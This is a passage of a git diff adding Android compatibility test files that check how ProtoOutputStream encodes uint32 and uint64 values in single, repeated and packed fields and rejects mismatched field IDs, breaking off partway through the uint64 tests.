+     * Test that the error message for types works.
+     */
+    public void testCheckFieldIdErrorMessage() throws Exception {
+        checkMessageForType(ProtoOutputStream.FIELD_TYPE_DOUBLE, "Double");
+
+        checkMessageForCount(ProtoOutputStream.FIELD_COUNT_SINGLE, "");
+        checkMessageForCount(ProtoOutputStream.FIELD_COUNT_REPEATED, "Repeated");
+        checkMessageForCount(ProtoOutputStream.FIELD_COUNT_PACKED, "Packed");
+    }
+
+    /**
+     * Check that the exception message properly gets the type.
+     */
+    private void checkMessageForType(long fieldType, String string) {
+        final long badType = fieldType == ProtoOutputStream.FIELD_TYPE_DOUBLE
+                ? ProtoOutputStream.FIELD_TYPE_INT32
+                : ProtoOutputStream.FIELD_TYPE_DOUBLE;
+        final String badTypeString = badType == ProtoOutputStream.FIELD_TYPE_DOUBLE
+                ? "Double"
+                : "Int32";
+        final long goodCount = ProtoOutputStream.FIELD_COUNT_REPEATED;
+
+        // Try it in the provided name
+        try {
+            ProtoOutputStream.checkFieldId(42 | goodCount | badType, goodCount | fieldType);
+        } catch (IllegalArgumentException ex) {
+            assertEquals("writeRepeated" + string
+                        + " called for field 42 which should be used"
+                        + " with writeRepeated" + badTypeString + ".",
+                    ex.getMessage());
+        }
+
+        // Try it in the expected name
+        try {
+            ProtoOutputStream.checkFieldId(43 | goodCount | fieldType, goodCount | badType);
+        } catch (IllegalArgumentException ex) {
+            assertEquals("writeRepeated" + badTypeString
+                        + " called for field 43 which should be used"
+                        + " with writeRepeated" + string + ".",
+                    ex.getMessage());
+        }
+    }
+
+
+    /**
+     * Check that the exception message properly gets the count.
+     */
+    private void checkMessageForCount(long fieldCount, String string) {
+        final long badCount = fieldCount == ProtoOutputStream.FIELD_COUNT_SINGLE
+                ? ProtoOutputStream.FIELD_COUNT_REPEATED
+                : ProtoOutputStream.FIELD_COUNT_SINGLE;
+        final String badCountString = badCount == ProtoOutputStream.FIELD_COUNT_SINGLE
+                ? ""
+                : "Repeated";
+        final long goodType = ProtoOutputStream.FIELD_TYPE_FIXED32;
+
+        // Try it in the provided name
+        try {
+            ProtoOutputStream.checkFieldId(44 | badCount | goodType, fieldCount | goodType);
+        } catch (IllegalArgumentException ex) {
+            assertEquals("write" + string
+                    + "Fixed32 called for field 44 which should be used"
+                    + " with write" + badCountString + "Fixed32.",
+                    ex.getMessage());
+        }
+
+        // Try it in the expected name
+        try {
+            ProtoOutputStream.checkFieldId(45 | fieldCount | goodType, badCount | goodType);
+        } catch (IllegalArgumentException ex) {
+            String extraString = "";
+            if (fieldCount == ProtoOutputStream.FIELD_COUNT_PACKED) {
+                extraString = " or writeRepeatedFixed32";
+            }
+            assertEquals("write" + badCountString
+                    + "Fixed32 called for field 45 which should be used"
+                    + " with write" + string + "Fixed32" + extraString + ".",
+                    ex.getMessage());
+        }
+    }
+
+    /**
+     * Validate one call to checkFieldId that is expected to throw.
+     */
+    public void assertCheckFieldIdThrows(long fieldId, long expectedFlags) 
+            throws Exception {
+        try {
+            ProtoOutputStream.checkFieldId(fieldId, expectedFlags);
+            throw new Exception("checkFieldId(0x" + Long.toHexString(fieldId)
+                    + ", 0x" + Long.toHexString(expectedFlags) + ") did not throw.");
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamUInt32Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamUInt32Test.java
new file mode 100644
index 0000000..3afc971
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamUInt32Test.java
@@ -0,0 +1,378 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the uint32 methods on the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamUInt32Test extends TestCase {
+
+    // ----------------------------------------------------------------------
+    //  writeUInt32
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeUInt32.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32;
+
+        po.writeUInt32(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeUInt32(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeUInt32(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeUInt32(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeUInt32(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 4 -> MIN_VALUE
+                (byte)0x20,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x08,
+                // 5 -> MAX_VALUE
+                (byte)0x28,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        testWriteCompat(0);
+        testWriteCompat(1);
+        testWriteCompat(-1);
+        testWriteCompat(Integer.MIN_VALUE);
+        testWriteCompat(Integer.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(int val) throws Exception {
+        final int fieldId = 50;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.uint32Field = val;
+        po.writeUInt32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertEquals(val, readback.uint32Field);
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedUInt32
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeUInt32.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_UINT32;
+
+        po.writeRepeatedUInt32(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedUInt32(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedUInt32(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedUInt32(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedUInt32(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        po.writeRepeatedUInt32(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedUInt32(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedUInt32(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedUInt32(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedUInt32(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 4 -> MIN_VALUE
+                (byte)0x20,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x08,
+                // 5 -> MAX_VALUE
+                (byte)0x28,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 4 -> MIN_VALUE
+                (byte)0x20,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x08,
+                // 5 -> MAX_VALUE
+                (byte)0x28,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new int[0]);
+        testRepeatedCompat(new int[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(int[] val) throws Exception {
+        final int fieldId = 51;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_UINT32;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.uint32FieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedUInt32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.uint32FieldRepeated);
+        assertEquals(val.length, readback.uint32FieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.uint32FieldRepeated[i]);
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writePackedUInt32
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeUInt32.
+     */
+    public void testPacked() throws Exception {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    /**
+     * Create an array of the val, and write it.
+     */
+    private void writePackedUInt32(ProtoOutputStream po, int fieldId, int val) {
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_UINT32;
+        po.writePackedUInt32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), new int[] { val, val });
+    }
+
+    /**
+     * Implementation of testPacked with a given chunkSize.
+     */
+    public void testPacked(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_UINT32;
+
+        po.writePackedUInt32(ProtoOutputStream.makeFieldId(1000, fieldFlags), null);
+        po.writePackedUInt32(ProtoOutputStream.makeFieldId(1001, fieldFlags), new int[0]);
+        writePackedUInt32(po, 1, 0);
+        writePackedUInt32(po, 2, 1);
+        writePackedUInt32(po, 3, -1);
+        writePackedUInt32(po, 4, Integer.MIN_VALUE);
+        writePackedUInt32(po, 5, Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x02,
+                (byte)0x00,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x12,
+                (byte)0x02,
+                (byte)0x01,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x1a,
+                (byte)0x0a,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 4 -> MIN_VALUE
+                (byte)0x22,
+                (byte)0x0a,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x08,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x08,
+                // 5 -> MAX_VALUE
+                (byte)0x2a,
+                (byte)0x0a,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new int[] {});
+        testPackedCompat(new int[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testPackedUInt32Compat with a given value.
+     */
+    public void testPackedCompat(int[] val) throws Exception {
+        final int fieldId = 52;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_UINT32;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.uint32FieldPacked = val;
+        po.writePackedUInt32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        Assert.assertArrayEquals(val, readback.uint32FieldPacked);
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeUInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeUInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_UINT32), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedUInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedUInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_UINT32), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Packed
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedUInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new int[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedUInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT32),
+                    new int[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamUInt64Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamUInt64Test.java
new file mode 100644
index 0000000..003a174
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamUInt64Test.java
@@ -0,0 +1,446 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the uint64 methods on the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamUInt64Test extends TestCase {
+
+    // ----------------------------------------------------------------------
+    //  writeUInt64
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeUInt64.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT64;
+
+        po.writeUInt64(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeUInt64(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeUInt64(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeUInt64(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeUInt64(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+        po.writeUInt64(ProtoOutputStream.makeFieldId(6, fieldFlags), Long.MIN_VALUE);
+        po.writeUInt64(ProtoOutputStream.makeFieldId(7, fieldFlags), Long.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x20,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x28,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x30,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x38,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        testWriteCompat(0);
+        testWriteCompat(1);
+        testWriteCompat(-1);
+        testWriteCompat(Integer.MIN_VALUE);
+        testWriteCompat(Integer.MAX_VALUE);
+        testWriteCompat(Long.MIN_VALUE);
+        testWriteCompat(Long.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(long val) throws Exception {
+        final int fieldId = 60;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_UINT64;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.uint64Field = val;
+        po.writeUInt64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertEquals(val, readback.uint64Field);
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedUInt64
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeUInt64.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_UINT64;
+
+        po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+        po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(6, fieldFlags), Long.MIN_VALUE);
+        po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(7, fieldFlags), Long.MAX_VALUE);
+
+        po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+        po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(6, fieldFlags), Long.MIN_VALUE);
+        po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(7, fieldFlags), Long.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x20,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x28,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x30,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x38,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x20,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x28,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x30,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x38,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new long[0]);
+        testRepeatedCompat(new long[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,
+                Long.MIN_VALUE, Long.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(long[] val) throws Exception {
+        final int fieldId = 61;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_UINT64;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.uint64FieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedUInt64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.uint64FieldRepeated);
+        assertEquals(val.length, readback.uint64FieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.uint64FieldRepeated[i]);
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writePackedUInt64
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeUInt64.
+     */
+    public void testPacked() throws Exception {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    /**
+     * Create an array of the val, and write it.
+     */
+    private void writePackedUInt64(ProtoOutputStream po, int fieldId, long val) {
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_UINT64;
+        po.writePackedUInt64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), new long[] { val, val });
+    }
+
+    /**
+     * Implementation of testPacked with a given chunkSize.
+     */
+    public void testPacked(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_UINT64;
+
+        po.writePackedUInt64(ProtoOutputStream.makeFieldId(1000, fieldFlags), null);
+        po.writePackedUInt64(ProtoOutputStream.makeFieldId(1001, fieldFlags), new long[0]);
+        writePackedUInt64(po, 1, 0);
+        writePackedUInt64(po, 2, 1);
+        writePackedUInt64(po, 3, -1);
+        writePackedUInt64(po, 4, Integer.MIN_VALUE);
+        writePackedUInt64(po, 5, Integer.MAX_VALUE);
+        writePackedUInt64(po, 6, Long.MIN_VALUE);
+        writePackedUInt64(po, 7, Long.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x02,
+                (byte)0x00,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x12,
+                (byte)0x02,
+                (byte)0x01,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x1a,
+                (byte)0x14,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x22,
+                (byte)0x14,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
